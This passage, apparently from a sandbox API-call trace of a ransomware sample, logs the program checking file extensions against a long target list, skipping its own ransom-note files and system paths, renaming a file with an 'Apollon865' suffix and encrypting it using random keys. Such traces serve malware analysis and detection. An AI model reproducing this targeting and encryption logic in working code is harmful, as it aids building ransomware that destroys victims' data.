	[0044.393] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0044.393] lstrlenW (lpString="mpd") returned 3
	[0044.393] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0044.393] lstrlenW (lpString="mrg") returned 3
	[0044.393] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0044.393] lstrlenW (lpString="mud") returned 3
	[0044.393] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0044.393] lstrlenW (lpString="mwb") returned 3
	[0044.394] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0044.394] lstrlenW (lpString="myd") returned 3
	[0044.394] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0044.394] lstrlenW (lpString="ndf") returned 3
	[0044.394] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0044.394] lstrlenW (lpString="nnt") returned 3
	[0044.394] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0044.394] lstrlenW (lpString="nrmlib") returned 6
	[0044.394] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0044.394] lstrlenW (lpString="ns2") returned 3
	[0044.394] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0044.394] lstrlenW (lpString="ns3") returned 3
	[0044.394] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0044.394] lstrlenW (lpString="ns4") returned 3
	[0044.394] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0044.394] lstrlenW (lpString="nsf") returned 3
	[0044.394] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0044.394] lstrlenW (lpString="nv") returned 2
	[0044.394] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0044.394] lstrlenW (lpString="nv2") returned 3
	[0044.394] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0044.394] lstrlenW (lpString="nwdb") returned 4
	[0044.394] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0044.394] lstrlenW (lpString="nyf") returned 3
	[0044.394] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0044.394] lstrlenW (lpString="odb") returned 3
	[0044.394] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0044.394] lstrlenW (lpString="odb") returned 3
	[0044.394] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0044.394] lstrlenW (lpString="oqy") returned 3
	[0044.394] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0044.394] lstrlenW (lpString="ora") returned 3
	[0044.394] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0044.394] lstrlenW (lpString="orx") returned 3
	[0044.395] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0044.395] lstrlenW (lpString="owc") returned 3
	[0044.395] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0044.395] lstrlenW (lpString="p96") returned 3
	[0044.395] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0044.395] lstrlenW (lpString="p97") returned 3
	[0044.395] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0044.395] lstrlenW (lpString="pan") returned 3
	[0044.395] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0044.395] lstrlenW (lpString="pdb") returned 3
	[0044.395] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0044.395] lstrlenW (lpString="pdm") returned 3
	[0044.395] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0044.395] lstrlenW (lpString="pnz") returned 3
	[0044.395] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0044.395] lstrlenW (lpString="qry") returned 3
	[0044.395] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0044.395] lstrlenW (lpString="qvd") returned 3
	[0044.395] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0044.395] lstrlenW (lpString="rbf") returned 3
	[0044.395] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0044.395] lstrlenW (lpString="rctd") returned 4
	[0044.395] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0044.395] lstrlenW (lpString="rod") returned 3
	[0044.395] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0044.395] lstrlenW (lpString="rodx") returned 4
	[0044.395] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0044.395] lstrlenW (lpString="rpd") returned 3
	[0044.395] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0044.395] lstrlenW (lpString="rsd") returned 3
	[0044.395] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0044.395] lstrlenW (lpString="sas7bdat") returned 8
	[0044.395] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0044.395] lstrlenW (lpString="sbf") returned 3
	[0044.396] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0044.396] lstrlenW (lpString="scx") returned 3
	[0044.396] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0044.396] lstrlenW (lpString="sdb") returned 3
	[0044.396] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0044.396] lstrlenW (lpString="sdc") returned 3
	[0044.396] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0044.396] lstrlenW (lpString="sdf") returned 3
	[0044.396] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0044.396] lstrlenW (lpString="sis") returned 3
	[0044.396] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0044.396] lstrlenW (lpString="spq") returned 3
	[0044.396] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0044.396] lstrlenW (lpString="te") returned 2
	[0044.396] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0044.396] lstrlenW (lpString="teacher") returned 7
	[0044.396] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0044.396] lstrlenW (lpString="tmd") returned 3
	[0044.396] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0044.396] lstrlenW (lpString="tps") returned 3
	[0044.396] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0044.396] lstrlenW (lpString="trc") returned 3
	[0044.396] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0044.396] lstrlenW (lpString="trc") returned 3
	[0044.396] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0044.396] lstrlenW (lpString="trm") returned 3
	[0044.396] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0044.396] lstrlenW (lpString="udb") returned 3
	[0044.396] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0044.396] lstrlenW (lpString="udl") returned 3
	[0044.396] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0044.396] lstrlenW (lpString="usr") returned 3
	[0044.396] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0044.396] lstrlenW (lpString="v12") returned 3
	[0044.396] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0044.397] lstrlenW (lpString="vis") returned 3
	[0044.397] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0044.397] lstrlenW (lpString="vpd") returned 3
	[0044.397] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0044.397] lstrlenW (lpString="vvv") returned 3
	[0044.397] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0044.397] lstrlenW (lpString="wdb") returned 3
	[0044.397] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0044.397] lstrlenW (lpString="wmdb") returned 4
	[0044.397] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0044.397] lstrlenW (lpString="wrk") returned 3
	[0044.397] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0044.397] lstrlenW (lpString="xdb") returned 3
	[0044.397] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0044.397] lstrlenW (lpString="xld") returned 3
	[0044.397] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0044.397] lstrlenW (lpString="xmlff") returned 5
	[0044.397] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0044.397] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Music\\Sample Music\\desktop.ini.Apollon865") returned 57
	[0044.397] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Music\\Sample Music\\desktop.ini" (normalized: "c:\\users\\public\\music\\sample music\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\desktop.ini.Apollon865" (normalized: "c:\\users\\public\\music\\sample music\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0044.452] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\desktop.ini.Apollon865" (normalized: "c:\\users\\public\\music\\sample music\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x158
	[0044.452] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=586) returned 1
	[0044.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0044.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0044.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0044.453] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf568) returned 1
	[0044.453] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0044.453] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0044.454] CreateFileMappingW (hFile=0x158, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x550, lpName=0x0) returned 0x148
	[0044.464] MapViewOfFile (hFileMappingObject=0x148, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x550) returned 0x100000
	[0044.466] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf568) returned 1
	[0044.467] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0044.467] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0044.467] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0044.467] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0044.467] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0044.467] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0044.467] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0044.467] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0044.467] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599f60
	[0044.468] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0044.468] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0044.468] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0044.468] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0044.468] CloseHandle (hObject=0x148) returned 1
	[0044.468] CloseHandle (hObject=0x158) returned 1
	[0044.468] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0044.468] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0044.468] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0044.468] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2db71390, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2db71390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0044.468] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0044.468] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Kalimba.mp3", cAlternateFileName="")) returned 1
	[0044.468] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0044.468] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="Apollon865.txt.exe") returned 1
	[0044.468] lstrcmpiW (lpString1="Kalimba.mp3", lpString2=".") returned 1
	[0044.468] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="..") returned 1
	[0044.468] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="windows") returned -1
	[0044.468] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="bootmgr") returned 1
	[0044.468] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="temp") returned -1
	[0044.468] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="pagefile.sys") returned -1
	[0044.468] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="boot") returned 1
	[0044.469] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="ids.txt") returned 1
	[0044.469] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="ntuser.dat") returned -1
	[0044.469] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="perflogs") returned -1
	[0044.469] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="MSBuild") returned -1
	[0044.469] lstrlenW (lpString="Kalimba.mp3") returned 11
	[0044.469] lstrlenW (lpString="C:\\Users\\Public\\Music\\Sample Music\\desktop.ini") returned 46
	[0044.469] lstrcpyW (in: lpString1=0x119e64e, lpString2="Kalimba.mp3" | out: lpString1="Kalimba.mp3") returned="Kalimba.mp3"
	[0044.469] lstrlenW (lpString="Kalimba.mp3") returned 11
	[0044.469] lstrlenW (lpString="Apollon865") returned 10
	[0044.469] lstrcmpiW (lpString1="alimba.mp3", lpString2="Apollon865") returned -1
	[0044.469] lstrlenW (lpString=".dll") returned 4
	[0044.469] lstrcmpiW (lpString1="Kalimba.mp3", lpString2=".dll") returned 1
	[0044.469] lstrlenW (lpString=".lnk") returned 4
	[0044.469] lstrcmpiW (lpString1="Kalimba.mp3", lpString2=".lnk") returned 1
	[0044.469] lstrlenW (lpString=".ini") returned 4
	[0044.469] lstrcmpiW (lpString1="Kalimba.mp3", lpString2=".ini") returned 1
	[0044.469] lstrlenW (lpString=".sys") returned 4
	[0044.469] lstrcmpiW (lpString1="Kalimba.mp3", lpString2=".sys") returned 1
	[0044.469] lstrlenW (lpString="Kalimba.mp3") returned 11
	[0044.469] lstrlenW (lpString="bak") returned 3
	[0044.469] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1
	[0044.469] lstrlenW (lpString="ba_") returned 3
	[0044.469] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1
	[0044.469] lstrlenW (lpString="dbb") returned 3
	[0044.469] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1
	[0044.469] lstrlenW (lpString="vmdk") returned 4
	[0044.469] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1
	[0044.469] lstrlenW (lpString="rar") returned 3
	[0044.469] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1
	[0044.469] lstrlenW (lpString="zip") returned 3
	[0044.469] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1
	[0044.469] lstrlenW (lpString="tgz") returned 3
	[0044.469] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1
	[0044.469] lstrlenW (lpString="vbox") returned 4
	[0044.470] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1
	[0044.470] lstrlenW (lpString="vdi") returned 3
	[0044.470] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1
	[0044.470] lstrlenW (lpString="vhd") returned 3
	[0044.470] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1
	[0044.470] lstrlenW (lpString="vhdx") returned 4
	[0044.470] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1
	[0044.470] lstrlenW (lpString="avhd") returned 4
	[0044.470] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1
	[0044.470] lstrlenW (lpString="db") returned 2
	[0044.470] lstrcmpiW (lpString1="p3", lpString2="db") returned 1
	[0044.470] lstrlenW (lpString="db2") returned 3
	[0044.470] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1
	[0044.470] lstrlenW (lpString="db3") returned 3
	[0044.470] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1
	[0044.470] lstrlenW (lpString="dbf") returned 3
	[0044.470] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1
	[0044.470] lstrlenW (lpString="mdf") returned 3
	[0044.470] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1
	[0044.470] lstrlenW (lpString="mdb") returned 3
	[0044.470] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1
	[0044.470] lstrlenW (lpString="sql") returned 3
	[0044.470] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1
	[0044.470] lstrlenW (lpString="sqlite") returned 6
	[0044.470] lstrcmpiW (lpString1="ba.mp3", lpString2="sqlite") returned -1
	[0044.470] lstrlenW (lpString="sqlite3") returned 7
	[0044.470] lstrcmpiW (lpString1="mba.mp3", lpString2="sqlite3") returned -1
	[0044.470] lstrlenW (lpString="sqlitedb") returned 8
	[0044.470] lstrcmpiW (lpString1="imba.mp3", lpString2="sqlitedb") returned -1
	[0044.470] lstrlenW (lpString="xml") returned 3
	[0044.470] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1
	[0044.470] lstrlenW (lpString="$er") returned 3
	[0044.470] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1
	[0044.470] lstrlenW (lpString="4dd") returned 3
	[0044.470] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1
	[0044.470] lstrlenW (lpString="4dl") returned 3
	[0044.471] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1
	[0044.471] lstrlenW (lpString="^^^") returned 3
	[0044.471] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1
	[0044.471] lstrlenW (lpString="abs") returned 3
	[0044.471] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1
	[0044.471] lstrlenW (lpString="abx") returned 3
	[0044.471] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1
	[0044.471] lstrlenW (lpString="accdb") returned 5
	[0044.471] lstrcmpiW (lpString1="a.mp3", lpString2="accdb") returned -1
	[0044.471] lstrlenW (lpString="accdc") returned 5
	[0044.471] lstrcmpiW (lpString1="a.mp3", lpString2="accdc") returned -1
	[0044.471] lstrlenW (lpString="accde") returned 5
	[0044.471] lstrcmpiW (lpString1="a.mp3", lpString2="accde") returned -1
	[0044.471] lstrlenW (lpString="accdr") returned 5
	[0044.471] lstrcmpiW (lpString1="a.mp3", lpString2="accdr") returned -1
	[0044.471] lstrlenW (lpString="accdt") returned 5
	[0044.471] lstrcmpiW (lpString1="a.mp3", lpString2="accdt") returned -1
	[0044.471] lstrlenW (lpString="accdw") returned 5
	[0044.471] lstrcmpiW (lpString1="a.mp3", lpString2="accdw") returned -1
	[0044.471] lstrlenW (lpString="accft") returned 5
	[0044.471] lstrcmpiW (lpString1="a.mp3", lpString2="accft") returned -1
	[0044.471] lstrlenW (lpString="adb") returned 3
	[0044.471] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0044.471] lstrlenW (lpString="adb") returned 3
	[0044.471] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0044.471] lstrlenW (lpString="ade") returned 3
	[0044.471] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1
	[0044.471] lstrlenW (lpString="adf") returned 3
	[0044.471] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1
	[0044.471] lstrlenW (lpString="adn") returned 3
	[0044.471] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1
	[0044.471] lstrlenW (lpString="adp") returned 3
	[0044.471] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1
	[0044.471] lstrlenW (lpString="alf") returned 3
	[0044.471] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1
	[0044.472] lstrlenW (lpString="ask") returned 3
	[0044.472] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1
	[0044.472] lstrlenW (lpString="btr") returned 3
	[0044.472] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1
	[0044.472] lstrlenW (lpString="cat") returned 3
	[0044.472] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1
	[0044.472] lstrlenW (lpString="cdb") returned 3
	[0044.472] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1
	[0044.472] lstrlenW (lpString="ckp") returned 3
	[0044.472] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1
	[0044.472] lstrlenW (lpString="cma") returned 3
	[0044.472] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1
	[0044.472] lstrlenW (lpString="cpd") returned 3
	[0044.472] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1
	[0044.472] lstrlenW (lpString="dacpac") returned 6
	[0044.472] lstrcmpiW (lpString1="ba.mp3", lpString2="dacpac") returned -1
	[0044.472] lstrlenW (lpString="dad") returned 3
	[0044.472] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1
	[0044.472] lstrlenW (lpString="dadiagrams") returned 10
	[0044.472] lstrcmpiW (lpString1="alimba.mp3", lpString2="dadiagrams") returned -1
	[0044.472] lstrlenW (lpString="daschema") returned 8
	[0044.472] lstrcmpiW (lpString1="imba.mp3", lpString2="daschema") returned 1
	[0044.472] lstrlenW (lpString="db-journal") returned 10
	[0044.472] lstrcmpiW (lpString1="alimba.mp3", lpString2="db-journal") returned -1
	[0044.472] lstrlenW (lpString="db-shm") returned 6
	[0044.472] lstrcmpiW (lpString1="ba.mp3", lpString2="db-shm") returned -1
	[0044.472] lstrlenW (lpString="db-wal") returned 6
	[0044.472] lstrcmpiW (lpString1="ba.mp3", lpString2="db-wal") returned -1
	[0044.472] lstrlenW (lpString="dbc") returned 3
	[0044.472] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1
	[0044.472] lstrlenW (lpString="dbs") returned 3
	[0044.472] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1
	[0044.472] lstrlenW (lpString="dbt") returned 3
	[0044.472] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1
	[0044.472] lstrlenW (lpString="dbv") returned 3
	[0044.473] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1
	[0044.473] lstrlenW (lpString="dbx") returned 3
	[0044.473] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1
	[0044.473] lstrlenW (lpString="dcb") returned 3
	[0044.473] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1
	[0044.473] lstrlenW (lpString="dct") returned 3
	[0044.473] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1
	[0044.473] lstrlenW (lpString="dcx") returned 3
	[0044.473] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1
	[0044.473] lstrlenW (lpString="ddl") returned 3
	[0044.473] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1
	[0044.473] lstrlenW (lpString="dlis") returned 4
	[0044.473] lstrcmpiW (lpString1=".mp3", lpString2="dlis") returned -1
	[0044.473] lstrlenW (lpString="dp1") returned 3
	[0044.473] lstrcmpiW (lpString1="mp3", lpString2="dp1") returned 1
	[0044.473] lstrlenW (lpString="dqy") returned 3
	[0044.473] lstrcmpiW (lpString1="mp3", lpString2="dqy") returned 1
	[0044.473] lstrlenW (lpString="dsk") returned 3
	[0044.473] lstrcmpiW (lpString1="mp3", lpString2="dsk") returned 1
	[0044.473] lstrlenW (lpString="dsn") returned 3
	[0044.473] lstrcmpiW (lpString1="mp3", lpString2="dsn") returned 1
	[0044.473] lstrlenW (lpString="dtsx") returned 4
	[0044.473] lstrcmpiW (lpString1=".mp3", lpString2="dtsx") returned -1
	[0044.473] lstrlenW (lpString="dxl") returned 3
	[0044.473] lstrcmpiW (lpString1="mp3", lpString2="dxl") returned 1
	[0044.473] lstrlenW (lpString="eco") returned 3
	[0044.473] lstrcmpiW (lpString1="mp3", lpString2="eco") returned 1
	[0044.473] lstrlenW (lpString="ecx") returned 3
	[0044.473] lstrcmpiW (lpString1="mp3", lpString2="ecx") returned 1
	[0044.473] lstrlenW (lpString="edb") returned 3
	[0044.473] lstrcmpiW (lpString1="mp3", lpString2="edb") returned 1
	[0044.473] lstrlenW (lpString="epim") returned 4
	[0044.473] lstrcmpiW (lpString1=".mp3", lpString2="epim") returned -1
	[0044.473] lstrlenW (lpString="fcd") returned 3
	[0044.473] lstrcmpiW (lpString1="mp3", lpString2="fcd") returned 1
	[0044.474] lstrlenW (lpString="fdb") returned 3
	[0044.474] lstrcmpiW (lpString1="mp3", lpString2="fdb") returned 1
	[0044.474] lstrlenW (lpString="fic") returned 3
	[0044.474] lstrcmpiW (lpString1="mp3", lpString2="fic") returned 1
	[0044.474] lstrlenW (lpString="flexolibrary") returned 12
	[0044.474] lstrlenW (lpString="fm5") returned 3
	[0044.474] lstrcmpiW (lpString1="mp3", lpString2="fm5") returned 1
	[0044.474] lstrlenW (lpString="fmp") returned 3
	[0044.474] lstrcmpiW (lpString1="mp3", lpString2="fmp") returned 1
	[0044.474] lstrlenW (lpString="fmp12") returned 5
	[0044.474] lstrcmpiW (lpString1="a.mp3", lpString2="fmp12") returned -1
	[0044.474] lstrlenW (lpString="fmpsl") returned 5
	[0044.474] lstrcmpiW (lpString1="a.mp3", lpString2="fmpsl") returned -1
	[0044.474] lstrlenW (lpString="fol") returned 3
	[0044.474] lstrcmpiW (lpString1="mp3", lpString2="fol") returned 1
	[0044.474] lstrlenW (lpString="fp3") returned 3
	[0044.474] lstrcmpiW (lpString1="mp3", lpString2="fp3") returned 1
	[0044.474] lstrlenW (lpString="fp4") returned 3
	[0044.474] lstrcmpiW (lpString1="mp3", lpString2="fp4") returned 1
	[0044.474] lstrlenW (lpString="fp5") returned 3
	[0044.474] lstrcmpiW (lpString1="mp3", lpString2="fp5") returned 1
	[0044.474] lstrlenW (lpString="fp7") returned 3
	[0044.474] lstrcmpiW (lpString1="mp3", lpString2="fp7") returned 1
	[0044.474] lstrlenW (lpString="fpt") returned 3
	[0044.474] lstrcmpiW (lpString1="mp3", lpString2="fpt") returned 1
	[0044.474] lstrlenW (lpString="frm") returned 3
	[0044.474] lstrcmpiW (lpString1="mp3", lpString2="frm") returned 1
	[0044.474] lstrlenW (lpString="gdb") returned 3
	[0044.474] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0044.474] lstrlenW (lpString="gdb") returned 3
	[0044.474] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0044.474] lstrlenW (lpString="grdb") returned 4
	[0044.474] lstrcmpiW (lpString1=".mp3", lpString2="grdb") returned -1
	[0044.474] lstrlenW (lpString="gwi") returned 3
	[0044.474] lstrcmpiW (lpString1="mp3", lpString2="gwi") returned 1
	[0044.475] lstrlenW (lpString="hdb") returned 3
	[0044.475] lstrcmpiW (lpString1="mp3", lpString2="hdb") returned 1
	[0044.475] lstrlenW (lpString="his") returned 3
	[0044.475] lstrcmpiW (lpString1="mp3", lpString2="his") returned 1
	[0044.475] lstrlenW (lpString="ib") returned 2
	[0044.475] lstrcmpiW (lpString1="p3", lpString2="ib") returned 1
	[0044.475] lstrlenW (lpString="idb") returned 3
	[0044.475] lstrcmpiW (lpString1="mp3", lpString2="idb") returned 1
	[0044.475] lstrlenW (lpString="ihx") returned 3
	[0044.475] lstrcmpiW (lpString1="mp3", lpString2="ihx") returned 1
	[0044.475] lstrlenW (lpString="itdb") returned 4
